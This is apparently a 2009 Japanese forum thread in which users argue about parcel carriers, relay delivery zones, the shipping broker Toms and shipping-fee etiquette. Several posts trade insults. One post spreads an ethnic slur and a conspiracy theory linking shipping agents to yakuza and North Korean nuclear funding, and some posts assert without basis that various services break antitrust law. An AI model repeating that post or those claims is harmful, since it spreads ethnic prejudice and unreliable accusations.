実態は他社中継で着地集約(早朝着店に着いてる荷物が当日中に中継会社に引き渡されない)されたり、
そもそも、他社中継は中継当日に配達されるとは限らない(特に、二次中継になったり、中継会社の営業所間で輸送が入る場合は当日配達不可な場合が多い)し、
日配もない(ついでに、あってないような午前/午後のみの時間帯指定も不可)から、
どう考えても、西武の他社中継より福山あたりの社内中継の方が上ですよね(^-^)
社内中継は原則、中継当日配達＆日配ありですからね(^-^)

あらら、逃げちゃったか

もう論破は完了したから、この話題は終わったよ(^-^)
ヤマト社員が「2便はある」と認めてる以上、論破は完了してるんだから、
これ以上語る必要がないよね(^-^)

論破されたことにしてやるから
ヤマトについてのそれ以外のことを話してごらん

着地集約の続きだよ(^-^)

腹痛の着地集約は、主に日祝で行われる場合が多いよね(^-^)
平日はほとんどないよ(^-^)
ただ、平日でも着店到着時間が遅いと、当日中に社内中継されない場合があるよね(^-^)
これを「着地集約」と呼ぶのかどうかは別として(^-^)

当たり前だけど、路線発着店の東京支店から、中継店の東京北支店(直配区域は板橋区,北区,豊島区,練馬区)とか、
羽田営業所(直配区域は大田区)とか、深川支店(直配区域は中央区)とかの社内中継で、着地集約することは、
日祝でも120％ないと断言できるよね(^-^)
このあたりは日祝配達の荷物が多く、着地集約なんかしてたら、クレームだらけになるからだよ(^-^)

怪しいのは、関西で言えば、路線発着店の奈良営業所から、中継店の新庄営業所への社内中継とかだよ(^-^)
つまり、中継店が田舎になればなるほど可能性が高くなる、という事だよ(^-^)

土曜日に600km圏内宛の不特定多数の宛先に荷物を100個出せば、
まあ、90個は日曜日に着店につくと思うよ(^-^)
つまり、この計算だと着地集約率は10％そこそこだね(^-^)
これが翌日が平日なら、99個は翌日中に着店につくと思うよ(^-^)

で、西武の場合は、地域によるけど、関東中部関西以外は主要都市除けば大半他社中継だよね(^-^)
他社中継は日祝に中継される可能性は0％だよ(^-^)
だから、「西武の他社中継より福山あたりの社内中継の方が上ですよね」と書いたわけですね(^-^)

というわけで、次はこの話題に触れましょう(^-^)

あらら、逃げちゃったか

こんなすごいエネルギー
他で使えばいいのに

あきもせんとようやるわ

>>611
22時までにすべての路線を出せば、確実に800km圏まで翌日配達ですよね(^-^)
速達メール便が600kmまでしか翌日配達出来ないのは2便で発送しているとしか思えないですよね(^-^)

>>618
ヤマトでも他社中継で日配されない地域はあるがな。
三重県の離島部は昔から近鉄物流(現：近物レックス)の中継だし、隠岐撤退した今じゃ隠岐は福通に中継してるし。
それどころか小笠原は週一度しかフェリーが出ないという
こっちは伊豆諸島開発の他社中継だっけ？
ま、西武や福通よりは圧倒的に少ないがな。
＞新庄営業所
新庄て
いくらなんでもそんな田舎はねーだろと。
ま、オレの知り合いが住んでるが。
京都なら福知山とか綾部だと怪しいかな。
ちなみにオレの地域、西濃は中継だし福通も最近まで中継だったけど、ヤマトの中継店輸送はそれなりに集約してないし。
佐川に至っては路線発着店からの集配。

>>622
22時に出発してすぐに高速乗って常に最高速度で5:30に着けるのは660km
実際にはETCゲートや高速までのロスを考えるとやはり600kmは妥当な距離だな

つか糞コテは所要時間の計算すらできんのか

糞コテと呼ぶのがケンカ腰

>>624
じゃあ、なぜ速達メール便は800km圏内翌々日配達なのか答えてね(^-^)
なぜ大阪→鹿児島や大阪→宮城は翌々日配達なのかな？(^-^)

＞じゃあ、なぜ速達メール便は800km圏内翌々日配達なのか答えてね
>>624から文章が繋がっていないんだがｗ

>>624に書いてある通り600km以遠だからだろ

速達メール便は宅急便混載にも関わらず、宅急便では翌日配達可能な800km圏内がなぜ翌日配達できないのかな？(^-^)
ちゃんと答えてね(^-^)

宅急便を優先するからだろ

なんでここはトムスと違う話ばっかなの？

糞コテの隔離スレだから

西武うんこの直配/中継表(日祝配達区域表)だけど、まともに信用しない方がいいよね(^-^)
だって、これ、平成13年1月改訂だもの(^-^)
平成の大合併前のデータだよね(^-^)
ここに載ってる水沢市とかは既にないしね(^-^)
どう考えても、旧郡部は中継だよ(^-^)
特に豊田市内の旧郡部とかは、現豊田市の土地の80％近く占めるくせに、人口は現豊田市の15％程度しかないしね(^-^)
これが直配区域なわけないよね(^-^)

佐川とかも市制やら合併やらで、時間帯指定不可地域が昔は大半の郡部だけだったのが、市部の一部にまで入り込んで、
かなり複雑化していて、そのたびに時間帯指定不可地域一覧表を改訂してるよね(^-^)
福山も同様に、合併やら市制やらあるたびに輸送エリア表や代引不可地域一覧表を改訂してるよ(^-^)

なのに、こんな古いデータをよこしてくる西武うんこは信用できませんよね(^-^)

ここまでデータが古いと、既にない自治体や旧郡部を区分けする作業が必要になってきますよね(^-^)
それだけで膨大な時間がかかるはずだよ(^-^)
水沢市だけでなく、ここに載ってる秋川市とかも既にないしね(^-^)
もっと探せば既に存在しない自治体は相当あるはずだよ(^-^)

まあいいじゃないか
個人向けや営業に消極的な福山ではなく
実際に引き合いがあるのは西濃西武グループなんだからさ

福山なんか西濃より取次ぎ店少ないから使い物にならんし知名度も低い
内向的な業者使うのはトラブル時が不安なんだよな

つかエクスパックに速達は不要とかナンクセつけてたくせに
西武にはスピードを要求するんかいな

お前はメンヘルそのものというか発言に整合性が無いな

＞福山なんか西濃より取次ぎ店少ないから

ソースないよね(^-^)
シッタカ・ハッタリもほどほどにね(^-^)

だいたい、取次では契約運賃では出せないから関係ないよね(^-^)

＞個人向けや営業に消極的な福山ではなく
＞実際に引き合いがあるのは西濃西武グループなんだからさ

こんな事言ったら笑われるよね(^-^)
西武は既に宅配をやめたし、西濃も宅配やめようとしたよね(^-^)

●九州地区セイムデイサービス一覧(対象地域は直配区域全域)

■グループ1−福岡県・佐賀県・長崎県・熊本県内の支店/営業所
福岡支店(福岡県)
福岡流通センター(福岡県)
北九州支店(福岡県)
北九州南支店(福岡県)
大牟田営業所(福岡県)
福岡南営業所(福岡県)
甘木営業所(福岡県)
飯塚営業所(福岡県)
大野城営業所(福岡県)
福岡箱崎営業所(福岡県)
佐賀支店(佐賀県)
唐津営業所(佐賀県)
鳥栖支店(佐賀県)
佐世保支店(長崎県)
長崎支店(長崎県)
熊本支店(熊本県)
八代営業所(熊本県)
熊本東営業所(熊本県)

■グループ2−大分県内の支店/営業所
大分支店(大分県)
中津営業所(大分県)

■グループ3−えびの営業所を除く宮崎県内の支店/営業所
宮崎支店(宮崎県)
延岡営業所(宮崎県)
都城営業所(宮崎県)
日南営業所(宮崎県)

■グループ4−鹿児島県内の支店/営業所＋宮崎県のえびの営業所
鹿児島支店(鹿児島県)
鹿児島空港営業所(鹿児島県)
知覧営業所(鹿児島県)
出水営業所(鹿児島県)
鹿屋営業所(鹿児島県)
九州川内営業所(鹿児島県)
えびの営業所(宮崎県)

●沖縄地区セイムデイ一覧
沖縄福山通運(沖縄県)

※セイムデイ対象地域は沖縄本島全域＋中継区域の宮古島/石垣島

西武なんか個人向け営業来ないよね(^-^)
トムスは直配なら絶対断らないだけで、西武直契約なら120％断られるから(^-^)
何なら、「俺は西武直で個人契約してる」って人を連れてきてよ(^-^)

>>636-638について語りましょう(^-^)
西武や西濃には当日配達サービスなんてありましたっけ？(^-^)

中継区域の少なさは福山＞＞＞西濃＞＞＞＞＞＞＞＞＞＞＞＞西武(論外)だから、
集配品質は西濃より福山の方が上ですね(^-^)
西濃と西武は直配区域が大半かぶってるから、グループになっても直配区域はほとんど増えないよね(^-^)

西濃の子会社になったからと言って、日配できる地域が増えたり、まして無料になるわけじゃないですよね(^-^)

5月17日(日曜日) 18時〜21時指定
http://www1.axfc.net/uploader/Img/so/46852

あ、西武は日配は有料、夜配は無理でしたね(^-^)
西濃も日配できても夜配は通販便以外では無理ですしね(^-^)
余計なお世話でしたね(^-^)

2000年以降、福山が作った支店/営業所数は50以上で、
それに対し、2000年以降、西濃が作った支店/営業所数はわずかに4つで、
2000年以降の新店ラッシュで集配品質に相当な差がついてしまいましたね(^-^)

営業努力が結果や評価に結びつかない福山は確かに不憫だと思うよ
営業もスピードも品質もがんばってるんだろうけどさ、

ただその努力の仕方が見当違いというか
ヤマトや郵政みたいな使いやすさやに結びついて無いのな

地元のスーパーとかと交渉して知名度を上げることから始めるとか
用は使ってほしいのかほしくないのかはっきりしてほしいな
ラベルの種類とかも

ヤマトは別として、ゆうパックの個数はフクツー宅配便以下だよね(^-^)
郵便の個数って、年減少率10％の普通郵便の事ですか？(^-^)

普通郵便は年減少率10％だから、10年後には今の差出個数が1/10に減ってるはずだよ(^-^)
いくら通販やヤフオクで使われても、携帯電話やメールやFAXの普及のせいで、減少に歯止めがかかりませんよね(^-^)

普通郵便の中には、不正に差し出された第三種＋障害者割引もたくさん入っていたはずだから、
今回の摘発でさらに減るのは間違いのないところですよね(^-^)

そんなに郵便が好きなのなら、これからは取引は取引ナビを使わずに、
はがきか手紙を出し合って行いますとでも出品文に記載すればいいよね(^-^)
1通出すごとに郵便の売上に貢献できますよね(^-^)
取引ナビなんか使うから、普通郵便の差出数が減るんですよ(^-^)
ヤフオクの元祖であるじゃまーるとかの時代はみんなそうしてたのにね(^-^)

いいかげんこの基地外は社会的制裁受けろ

一体何と戦ってんだろうな
鬼気迫る連投具合だｗ

みんなあゆちんがすきなんやね

アボーンしてるから見えないよ
見えない敵と戦ってるように見える

早く「俺は西武直で個人契約してる」って人を連れてきてよ(^-^)

トムスに新規申し込みしたんだけど、２ヶ月たっても音沙汰なし
申し込みできたのかメールを３回も出しても返事が来ない
どうなってんだ

okaなんとか二度と出てこないんだろうな

>>655

なんで？

>>645-648
ま、普通郵便の大半が第2種か第1種定型って事を考えればオクの第1種定形外なんてのは例外中の例外だ罠w
そもそも手紙を書く奴自体が相当減っている現状。

>>647
これで民間業者のメール便へ移行する事業者が増えるのは間違いない。
それが冊子小包の発送代行なのか、マイナーなメール便なのかは知らんが。

今、新規ネットショップの準備で忙しいから、もう勝手に戯れてなさい(^-^)
落札率が5年で30％→7％、平均落札額が9000円→5000円まで下がったヤフオクで戯れてる人たちは完全に負け組だから(^-^)
ヤフオクのストアも同様ですよ(^-^)
ヤフオクの改悪と落札率の低下と落札額の減少に一生苦しめられてなさい(^-^)
あゆちんはもう沈没船のごとく没落しているポータルサイトから抜けるから(^-^)

>>659
さようなら
宣言通りもう帰ってこないでね

>>654自分は1か月くらいで登録完了きたよ。
まだ使ったことないけど。

ここの人たちもうあゆちんが生活の一部

okadaさんはあゆちんの知り合い？

西濃グループによるトムス切り落としフラグが来ましたね(^-^)

＞不採算荷主の取引条件の見直しなどで採算改善を目指していく
＞不採算荷主の取引条件の見直しなどで採算改善を目指していく
＞不採算荷主の取引条件の見直しなどで採算改善を目指していく
＞不採算荷主の取引条件の見直しなどで採算改善を目指していく
＞不採算荷主の取引条件の見直しなどで採算改善を目指していく

http://contents.skmeijin.jp/lo/rej/index.html#0521_1

あゆちんは新規の事業が忙しくて、ここのスレに来ないのでなかったの？

あゆちんが居ないと

ところで、西武うんこの日配区域表にある「水沢市」とは一体どこにあるのか議論しましょう(^-^)(

水沢競馬ってのが岩手にあったよね。
あと、新幹線の駅に水沢江刺ってのがある。
水沢市は江刺市とかその他色々で合併して奥州市になった。


つまり、市町村合併を反映していないだけか。
で、これ。
http://headlines.yahoo.co.jp/hl?a=20090526-00000577-san-pol
もう中継区域表を頻繁に作り直す必要ないね。

>>664
トムスは100％絶対不採算荷主だからな。
契約運賃は確か10kgまで350円だったかな。
西濃あたりの平均単価がこんなもんだったか知らんけど、トムスの場合集荷も配達も不在だらけのC2Cが大半だからな。

これからは西武園競輪を月10万円買ってる人だけ、トムス西武を使えることにしましょう(^-^)

そういえば、隣の市宛のクロネコメール便が3日もかかったよ(^-^)
路線発送なしの回送だけなのに、何で3日もかかるのかな？(^-^)
いつもの人はちゃんと理論的に説明してね(^-^)

いつもの香具師は説明できないと分かっていてもそう言うw
オレは分かってるけどな。その理由。

地方競馬では重賞以外は個々のレースに対する個別登録は認めておらず、
原則、「開催に対する登録」のみが認められているよね(^-^)
重賞だけは個々のレースに対する個別登録が認められているよ(^-^)

例えば、大井競馬の特定の開催で、C3級の馬が180頭登録してきて、
その開催ではC3の級レースが13レース行われる場合、
各レース13頭〜14頭立てにして、番組賞金の多い順にC3一、C3二…という順に編成するよね(^-^)
あまりに登録頭数が多ければ、抽休(中央競馬で言うところの除外)になって、抽休手当が出るよね(^-^)
ちなみに、この場合、各レースの出走頭数は13頭ないしは14頭立てになるけど、
12頭立て以下のレースが出てくる理由は、編成後かつ枠順確定前に出走取消が出たりするためだよ(^-^)
レースの距離に関しては、組が上位のレース(特に特別戦)は若干長めの距離を取られることが多いけど、
これは番組編成担当が決めることになっているよ(^-^)
ただ、主催者によるけど、開催要領で、平場と特別(つまり重賞以外)は「距離○○m以下で行う事」とかの規定がある場合があるから、
それ以上の距離でレースをすることは不可能だよ(^-^)

つまり、地方競馬では、「出たいレースはおろか、出たい距離のレースに出ることも原則不可」って事だよ(^-^)
例えば、C2では番組賞金上位で、C2一の1800mの特別戦に出なきゃいけないんだけど、出たくないから、C2四の1200mの平場に回るとかは無理だよね(^-^)
中央だったら、特別回らずに平場に回るかとは可能だけどね(^-^)

ただ、南関と道営に関してだけは、出たいレースは選べないけど、距離に関しては若干の融通が利くよ(^-^)
というのは、例えば、「C3四 五」とかの混合レースを組んで、4組と5組の馬を集めて、
「C3四 五」の距離の違うレースを2レース開催し、その距離の違う2レースから、出たいレースを選べるようになっているよ(^-^)
というか、南関では平場戦は今はこのやり方が主流だよ(^-^)

>>673
それどころか、中央競馬のG1で「28頭登録していてなんで12頭落とすんじゃ、フルゲート18頭やろ」とか言う人をたまに見る。
想像付くと思うがそのコースはフルゲート16頭だったというオチ
地方はフルゲート１４頭が主流だけど中央でも福島だったかに１４頭とかいうコースがあったような。
言い出せば昔は中央で２８頭立てとか普通にあったし。

>>634のような、吸収された側が勝ち組みたいな理論は笑えてきますね(^-^)
勝ち組は吸収した側だけだよ(^-^)
>>664に書いたけど、吸収でトムスが西武の親会社である西濃から切られる可能性もあるのにね(^-^)
その時はこのスレもモンスター化必至ですね(^-^)

福山は2008年度の第3四半期〜期末にかけて、不採算荷主5000リストアップして全部切ったけど、
西濃は不採算荷主の切り落としは2008年度にはやっておらず、これからですね(^-^)
おそらく、腹痛と同じ程度の数は切ってくるだろうし、トムスが切られるかどうか、非常に楽しみですね(^-^)

安心しろ。
もうじき福通も負け組みになるから。
だって近鉄自体が倒産寸前なのに。
しかも数年前から変わっていない。

>>677
腹痛は名鉄や西武みたいに親会社に依存している体質ではないから問題ないよね(^-^)

西武鉄道はかの件で株主代表訴訟起こされて、しかも敗訴しましたね(^-^)
まさに鉄道業界のライブドアですね(^-^)
当然、ホリエモン＝堤だよ(^-^)

トムス西武利用者はさも西武はヤマト並の会社であるように記載するけど、
粉飾決算をやってさんざんテレビで取り上げられたので、こんなイメージの悪い会社もないよね(^-^)
西武を持ち上げるバカはライブドアを持ち上げるバカと同等と見ていいよね(^-^)

不祥事で上場廃止になったあげく、株主から訴えられて敗訴するような会社を持ち上げるバカは、よほど先見性がありませんよね(^-^)
まあ、トムスが西武の親会社の西濃切られたら、今西武を持ち上げてる人たちもモンスター化必至ですよね(^-^)

某ｽﾚで埋め厨が出た時、ｱｸ禁にしてくれたなぁー
ここもしてくれる人いないかなー

>>681
自分で削除養成しろよ

http://plaza.rakuten.co.jp/7rari/diary/20090426/

やはりうんこはうんこでしたね(^-^)
2倍以上の額で勝手に引き落として連絡なしだそうです(^-^)

ここに書いておくわ。
一度、代引きの振り込み手数料を本来105円のやつが525円で請求された事がある。
しかも、その後「返金しろ」とメールを送り、「返金します」と返事が返ってきてから数ヶ月、未だに返金されていないという事に気づいた。
この口座は普段使っていないから半年ほったらかしで、ついこの間記帳したんだけど、あさってにでも電凸するつもり。

ヤフー・ゆうパックに代わる輸送サービスについて紹介してちょｗｗ

>>685
http://eporter.felissimo.co.jp/page02.html

※ なまもの・高額品・精密機器等はお受けしておりません。
※ すべてのお品物、お客様にてダンボール梱包をお願いたします。

tukaenasu

知恵袋における不気味な行動をしている二名を発見。

同じ質問を二日続けてあげている質問者
http://my.chiebukuro.yahoo.co.jp/my/myspace_quedetail.php?writer=whitesilk0504

トムスに関連する質問のみにこれまた全く同一の回答を３度もしている回答者
http://my.chiebukuro.yahoo.co.jp/my/mis_joker_2009

ネガティブキャンペーンですか？ｗ

>>688
別のヤシがツッコミ入れたら即座に質問を取り消してたよｗ

さすがにあゆちんも飽きてきたか

さあ、グランシングが栄城賞2着にきた記念に今日も夜配・日配の話題をしようか(^-^)

高知の話題が出たので、高知県の直配区域を比較してみましょう。

●西武運輸 高知県内直配区域
なし(高知県内全域中継)

●西武航空 高知県内直配区域
高知市
南国市

●福山通運 高知県内直配区域
高知市
南国市
土佐市
四万十市(西土佐○○は中継)
土佐清水市(足摺岬・大谷・大浜・窪津・津呂・中浜・松尾は中継)
宿毛市(離島は中継)
須崎市
幡多郡(三原村と離島は中継)

やはりダントツで差が出ましたね(^-^)

しかも、西武の高知は高知市と南国市以外、代引き不可という醜さなんですよね(^-^)

糞コテもとうとう許したか

福山の当日再配達締めは19時だけど、西武ウンコは何時なのかな？(^-^)
15時とかだと受け取れない人が続出するよね(^-^)

http://www.shipping.jp/knowhow/20090511.html

ピックアップに先月、申し込んだけど
さっきメールが来て使用可能になるまで６０日かかるとか
なんだそれ

引き落とし希望の場合、60日かかるけど、ポイント先払いの場合はキャンペーンで即日利用可能だって(^-^)
よほどトムスの社長は円天が好きみたいですね(^-^)
尊敬する人は波和二じゃないの？(^-^)

おかげさまで大変ご好評いただき、お申し込みが殺到しております。
って書いてあるな。

ヤフーゆうパック難民がサービス終了とともに押し寄せた感じか

「ポイント先払いの場合はキャンペーンで即日利用可能」ということは、申し込み殺到が原因でなく、
単にポイント先払いに誘導したいだけですよね(^-^)

それとも、夜逃げフラグが立った？

ちょっと初心者質問いいですか？
ピックアップって落札者の場合も使えるってことでおｋですか？
出品者に都合のいい日時聞いて取りに行ってもらう形？

落札者としてそれをやったことがある人いますか？

>>701
普通に落札時も使ってるよ
ヤフーゆうパックなくなってからは、ヤマトの定価で送ろうとする人が
増えるから、Pickup使うケースが増えそうだ。

伝票記入不要なのと時間帯指定できるのを伝えると
たいていの出品者はOKしてくれるが、落札前に聞いておいたほうがいいと思う。


便乗質問。
ところで、JPエクスプレスになってからの、PickUpの伝票ラベルは
トムスの発送だとわかってしまうのかな？
たしかトムスの文字はなかったよね？

出品時に1円単位送料は切り上げて送料提示してるんだけど、
そんな金額でも送料ぼったくりとクレームつけられたらやだなぁ、と。

>>702
ありがとん！
送料がネックで入札ためらってる場合などは
事前に聞いてみたほうがいいですね。

トムス申し込み中で発送にも使いたいと思ってるんで便乗質問にも興味アリですｗ
私は一律￥６００くらいで提示したいんだけれども・・

>>702
そんなもんボッタクリ以外の何物でも無いじゃん。乞食が。

>>704
おまえみたいに数円で騒ぐのを乞食っていうわけだがｗ
梱包の資材（段ボール、テープ、インク代）、集荷依頼の電話代（西武）、
電気代（PickUpも）、資材調達時の燃料費などいろんな雑費がかかってる。

逆に送料無料にするケースだってある。

>>703
60サイズ600なら良心的だと思うけど、割安感もアピールできないな。
自分の場合は、pickupは1日発送が遅れる分、
少しは送料安くしてあげないと、という気持ちがどこかにある。

>>705
＞割安感もアピールできないな
そう言われてみればそうですね。

もうちょい下げて本州以外追加料金かな？
オク歴長いけど宅配￥４５０でなんて送ってもらったことがないよ。
最低でも￥５００って感じ。

送料はぼったくろうが何だろうが説明に明記してあればおｋ、
って思ってるけど、704みたいに煩い人もいるんだろうね・・。

500円を切ると逆に不審に思われる可能性あり。
ピックは確か「トムス」と印字されていたような。

>>705
どう考えても乞食はお前だろ。
「送料」って言ってたのにいつの間にか諸経費をどうこうとかみっともねえ。
言い訳がましいんだよ乞食さんｗ

出ましたね、トムスうんこお得意の送料ピンハネの話題が(^-^)

あと、回送のみでいける距離でメール便が3日かかった件について、いい加減弁解してよ(^-^)

>>708
数円でぼったくりとか騒いでるおまえがどうみても乞食＆馬鹿ｗ

合計で１の位の数字が出るんだから、端数なくしたければ
切り捨てるか、切り上げるか、四捨五入するしかないだろ。
たった数円でギャーギャーいうな。

時間かけて梱包材準備して、有料のプチプチも買ってきて、
人件費ゼロで丁寧に梱包して
その分をたった数円で換算するのはどうみても赤字。
これをぼったくりという乞食は商売やる資格がない。

>>710
900万円の誤請求をされた奴も居るそうじゃないか

（´-｀）.｡oO(1円単位が端数とか乞食馬鹿としか言えない)

>>710
全くＯＫでしょ
つーかオレなら１００円未満切り上げだな

端数はともかく、誤請求って本当にあるの？

トムスのyousay時代にメールの誤送信で900ﾏｿとか1200ﾏｿとかいう請求はあったらしい。
全利用者の分被れるか禿ってなw

ポイント申し込んで振込みもしたけど、６日間音沙汰無し
入金確認メールなんてしてくれないの？

>>716
うち、翌日に連絡来たよ

ぶった切りスマソ

以前yousayのサービスを使ってたものです
その頃に、トムスが提供してくれてた「後納郵便差出表」の自動計算のためのエクセルのファイルがあったと思うのですが
どなたか今もお持ちの方いらっしゃいませんか？

ファイルのイメージはこんな感じです↓

545 名前：名無しさん（新規） mailto:sage [2007/09/24(月) 13:21:29 ID:Qqnq5QB80]
トムスのHPにエクセルの後納票があった
作者さん、勝手に晒させてもらうよー。いつも俺も使わせて貰ってる。ありがとー


601 名前： 名無しさん（新規） [sage] 投稿日： 2007/09/26(水) 02:53:50 ID:IskYx9oi0
>>599
個人的に修正した差出票やるから好きに使え。
エクセルだから、個数入力で自動計算
http://geter1.hp.infoseek.co.jp/yousay.xls


よろしくお願いします

>>709
あゆちん様、質問させて下さい。

通常の黄色い袋のパーセルパックは現在も使わせて頂いておりますが
先払いのパーセルパックプリペイドの取り扱いが終わったらしく、
現在次の新しい類似商品を検討中と電話伺ったのですが何か情報お持ちでしょうか？
あゆちん様は福山通運にお詳しいようですので質問させていただきました。

50枚買うと10％引きで360円(税込378円)で沖縄〜北海道まで送れるので便利だったので残念です。
黄色い袋の420円でも他社よりは断トツで安いので別に良いのですけどねｗ

盛り上がってないね

あゆちん、自作自演か？ｗ
何でこの二つの回答で投票になるんだ？？
↓
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1026895490

投票の際、オレは必ず変な意見に一票を投じる方針ゆえ、あゆちんに入れてあげたよｗ

さすがにYahoo!ゆうパックも終了でネタがつきたか

>>719
知ってるけど、教えられないよね(^-^)
近々、提携している某企業および福山通運側から発表があると思うよ(^-^)
発表があれば、トムス利用者は絶対このサービスを利用しないように、そこらじゅうに書き込んできますね(^-^)
トムス信者＆西武運輸信者であるトムス利用者はトムスや西武運輸と心中してればいいよね(^-^)

トムスに信者はいないよ基地外君

もしかしてあゆちんって知恵袋でシッタカシッタカわめいてるバカな人？

発送代行業者を利用する行為は、北朝鮮の核開発を援助する行為と同じです。

発送代行業者の大半がヤクザの舎弟企業
↓
ヤクザ＝チョン
↓
発送代行で儲けた金は、北朝鮮に送金されている
↓
送金された金は、北朝鮮の核開発援助に使われる

ですので、発送代行業者を利用する行為は、パチンコ・スロットをやる行為同様、
北朝鮮の核開発を援助しているも同然の行為なのです。

ポイント購入しました。
ピックアップは利用できるようになり初利用した。
購入から一ヶ月経ったけど西武運輸からの連絡は全く無い・・・

otodoke使わないから放置でもいいんだけど、
みなさんのところはちゃんと連絡来た？


>>702
トムスコーポレーションって欄外ってか上の方に印字があった。

>727
よく先払いとか出来るね。
今まで引き落としだったのが、急に先払い始めるのって、
どう考えても急な資金調達のためなんだが。
もろに危険信号だろ。

>>728
￥６０００くらいだったら別にいいや、って思ってｗ

>>727
>購入から一ヶ月経ったけど西武運輸からの連絡は全く無い・・・

あ、それ、結構トムスにキツメにせっつかないといつまでも放置されるぞ。
オレもトムスとの契約や書類審査はスイスイ行ったんだけど
肝心の西武運輸からの連絡が全くないのでトムスのページから
「おーい、どうなってんだ！？西武から電話ないぞぉぉ！」と
呼びかけたら、２日後、西武の営業所長が伝票を持って飛んできた。

>>727
１週間たって連絡ない場合はトムスに連絡しろってメールに書いてあるが

仮にトムスの契約が315円とすると、直配区域宛で、西武運輸の利益は以下のようになる。
315円−15円(注1)−100円×2(注2)−20円(注3)−50円(注4)＝30円

注1；消費税。消費税はそのまま国に納めるので、運送会社の利益にはならない。
注2：集配手当。厳密には100円を若干下回る程度なのだが、SDが集配する関係上、ガソリン代や福利厚生費は会社負担であるため、100円で計算。
なお、傭車配達の場合は、ガソリン代は傭車負担で、福利厚生はないが、傭車委託費が一律130円程度になるので、逆に配達コストが上がる。注2は配達もSDである場合で計算している。
注3：路線取り分。一般的には、600km圏内の1運行で10万円ちょっとのコストがかかる。容積換算10kgの荷物でだいたい100円程度なのだが、今回は2kgで計算しているので、20円とした。
なお、今回は600km圏内で計算したので、1200km圏内だと2運行(翌々日配達)になり、単純に倍計算となる。逆に、600kmより短いと逆に少なくなる。トムスは地域によるが、1200km圏内も同一運賃というところがある。
注4：送り状代。大半の運送会社は本社からの買い取り。書き損じを考慮しない数字で計算したので、書き損じたらコストが高くなるのは当然。

仮に宛先が中継区域だった場合、集配手当が100円減る分、中継料が最低100円かかる計算になる。
100円で受ける中継会社はめったになく、実質的には、輸送なしの配達のみの中継で100円台後半が相場である。
もちろん、容積換算重量関係なく一律額の集配手当と違い、中継料は容積換算重量が上がれば中継料も上がる。
輸送が入ったり、第二・第三中継が入ると、さらに中継料が上がる計算。
上記の利益30円を割り込み、どう考えても赤字にしかならない。

これは独占禁止法一般指定6項に定められたダンピング行為に抵触しています。
違法なので、改めて関係各所への通報を続けていきます。

>>731
それは知ってるけど、otodokeの利用予定は無いから
放置でもいいのかなぁ・・って。

西武は(ﾟДﾟ)ｺﾞﾙｧ!!してもらわないと動かない会社なんだねｗ

エクスパックは違法である可能性が高い。

エクスパックは500円だが、航空便地域の場合、以下のようになる。
500円−24円(注1)−100円×2(注2)−810円(注3)−20円(注4)＝−554円

注1：消費税。消費税はそのまま国に納めるので、運送会社の利益にはならない。
注2：集配手当。厳密には100円を若干下回る程度なのだが、局員が集配する関係上、ガソリン代や福利厚生費は会社負担であるため、100円で計算。
なお、傭車配達の場合は、ガソリン代は傭車負担で、福利厚生はないが、傭車委託費が一律130円程度になるので、逆に配達コストが上がる。注2は配達も局員である場合で計算している。
また、持ち込みの場合は集荷側の集配コストがかからないので、100円×1＝100円となる。
注3：JALやANAの定める航空便利用料。JAL、ANAとも容積換算重量2kg以内で、発着空港関係なく810円と定められている。なお、この航空便利用料は1原票単位の計算なので、EXPACKは1個ごとに810円かかる計算になる。
注4：封筒代。通常は無地の場合1枚10円程度なのだが、無地ではないので、20円で計算。

航空便利用料だけでEXPACKの運賃を超えており、
完全に独占禁止法一般指定6項に定められたダンピング行為に抵触しています。
違法なので、改めて関係各所への通報を続けていきます。

http://www.jal.co.jp/jalcargo/dom/fee.html
http://www.ana.co.jp/cargo/product/unchin/ippan_081001.pdf

福山通運のパーセルパック400は違法である可能性が高い。

パーセルパック400は420円だが、航空便地域の場合、以下のようになる。
420円−20円(注1)−100円×2(注2)−810円(注3)−20円(注4)−50円(注5)＝−680円

注1：消費税。消費税はそのまま国に納めるので、運送会社の利益にはならない。
注2：集配手当。厳密には100円を若干下回る程度なのだが、SDが集配する関係上、ガソリン代や福利厚生費は会社負担であるため、100円で計算。
なお、傭車配達の場合は、ガソリン代は傭車負担で、福利厚生はないが、傭車委託費が一律130円程度になるので、逆に配達コストが上がる。注2は配達もSDである場合で計算している。
また、持ち込みの場合は集荷側の集配コストがかからないので、100円×1＝100円となる。
注3：JALやANAの定める航空便利用料。JAL、ANAとも容積換算重量2kg以内で、発着空港関係なく810円と定められている。なお、この航空便利用料は1原票単位の計算なので、パーセルパック400はは1個ごとに810円かかる計算になる。
注4：封筒代。通常は無地の場合1枚10円程度なのだが、無地ではないので、20円で計算。なお、封筒は買い取りでなく先渡しなので、利用しない分が発生すれば、さらにコストが上がる計算になる。
注5：送り状代。大半の運送会社は本社からの買い取り。書き損じを考慮しない数字で計算したので、書き損じたらコストが高くなるのは当然。

航空便利用料だけでパーセルパック400の運賃を超えており、
完全に独占禁止法一般指定6項に定められたダンピング行為に抵触しています。
違法なので、改めて関係各所への通報を続けていきます。

PS3は違法である可能性が高い。

PS3の販売価格は税込み39800円だが、製造原価は50000円とも60000円とも言われており、
製造原価だけで販売価格を上回る計算になる。
完全に独占禁止法一般指定6項に定められたダンピング行為に抵触しています。
違法なので、改めて関係各所への通報を続けていきます。

で、どの商品も継続販売されているということは。
計算に根本的な間違いがあると

西武運輸が営業赤字に陥り、西濃運輸に買収されたのは、トムスのダンピング運賃も原因の1つである。
本来、運送会社では運輸部門以外は比較的利益率がいいにも関わらず、全体で営業赤字が発生するのは異常。
2007年度決算で西武運輸は2億円の営業赤字だったが、西武運輸の運輸部門だけで見れば、営業赤字は2億円は軽くオーバーしているのは確実。

今期の西濃運輸を例に挙げれば、営業利益は33億円だったが、運輸部門は5億円の営業赤字。
つまり、それ以外の利益率のいい部門で黒字を出したことになる。

>>737
PlayStation.comの佐川契約(税込み300円)は一度も黒字化しなかったのに、7年も継続契約されましたが何か？

違法でも何でもユーザーはとにかく安けりゃいいんだよ

ID:qJM72OmA0

何と闘ってるんだこのアホはｗ

>>739

最初の3年間で営業努力して、止める時期を探る4年間だったと。
そして佐川はアマゾンを200円以下で配達する。
単品だけでは判断できないね。

>>742
シッタカ乙。
SCEの契約は佐川から切られたのでなく、SCE側からやめた。
あと、アマゾンは200円以下ではない。
運賃だけならSCEと同条件。

>>743

あら、そうか。切られてやれやれ。
赤確定の同じ価格条件で次に行く理由は？

>>744
ｼｯﾀｶﾀｯﾀｯﾀｯﾀｯﾀｰﾀﾀｰﾀﾀｰ♪
ｼｯﾀｶﾀｯﾀｯﾀｯﾀｯﾀｰﾀｰﾀﾀﾀｰ♪
